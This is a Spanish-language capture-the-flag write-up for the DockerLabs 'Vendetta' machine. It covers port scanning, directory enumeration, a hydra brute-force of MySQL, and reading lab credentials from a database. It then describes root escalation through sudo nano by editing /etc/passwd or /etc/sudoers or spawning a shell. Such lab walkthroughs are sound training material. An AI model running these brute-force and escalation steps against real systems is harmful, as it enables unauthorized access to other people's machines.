miguel@home:~$

Vendetta - DockerLabs

OS Dificultad Creator
Linux Fácil misk0z

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Puertos Descubiertos

Durante el escaneo, descubrimos los siguientes puertos abiertos:

  • 80 (HTTP)
  • 22 (SSH)
  • 3306 (MySQL)

Realizamos un escaneo más detallado para obtener información sobre los servicios en estos puertos:

nmap -p22,80,3306 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al navegar al puerto 80, descubrimos un sitio web con el título “V de Vendetta”.

image

Pistas Iniciales

El sitio contiene dos imágenes con el texto: “Visible pero a la vez oculto, si sabes su nombre sabes todo”.

Para investigar, utilizamos Gobuster y exploramos directorios en el sitio:

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir: Realiza un escaneo de directorios.
  • -u http://172.17.0.2/: URL objetivo.
  • -w: Diccionario a utilizar.
  • -x: Extensiones de archivo para buscar.

image

Conexión MySQL

Interpretamos que la pista “Visible pero a la vez oculto” se refiere a la letra V. Probamos este nombre como usuario para conectarnos al servicio MySQL con hydra:

hydra -l V -P worlist.txt mysql://172.17.0.2 -t 4

image

Obtenemos las credenciales y accedemos a la base de datos:

mysql -h 172.17.0.2 -u V -p

Si aparece el error “TLS/SSL error: SSL is required”, utilizamos la opción --skip-ssl:

mysql -h 172.17.0.2 -u V -p --skip-ssl

Exploración de la Base de Datos

Dentro del sistema, exploramos el contenido:

Bases de Datos Disponibles

show databases;

image

Selección de Base de Datos

Entramos en la base de datos BTN:

use BTN;

image

Tablas Disponibles

Listamos las tablas:

show tables;

image

Usuarios

Extraemos los datos de la tabla users:

select * from users;

image

Obtenemos las siguientes credenciales:

+----+----------+-----------+
| id | user     | password  |
+----+----------+-----------+
|  1 | Vendetta | OldBailey |
+----+----------+-----------+

Acceso por SSH

Intentamos conectarnos al servidor por SSH con las credenciales:

ssh Vendetta@172.17.0.2

image

Escalada de Privilegios

Ejecutamos sudo -l y descubrimos que el usuario tiene permisos para ejecutar nano como root. Consultamos GTFOBins para aprovechar este binario.

Métodos de Escalada

1. Modificar /etc/passwd

Editamos el archivo /etc/passwd para eliminar la x del usuario root, permitiendo acceso sin contraseña:

image

Ya somos root:

image

2. Modificar /etc/sudoers

Editamos el archivo /etc/sudoers para dar permisos de root al usuario Vendetta:

image

image

3. Generar una Shell con nano

Usamos nano para generar una shell interactiva:

image


De esta manera logramos acceso completo al sistema como root. ¡Misión cumplida!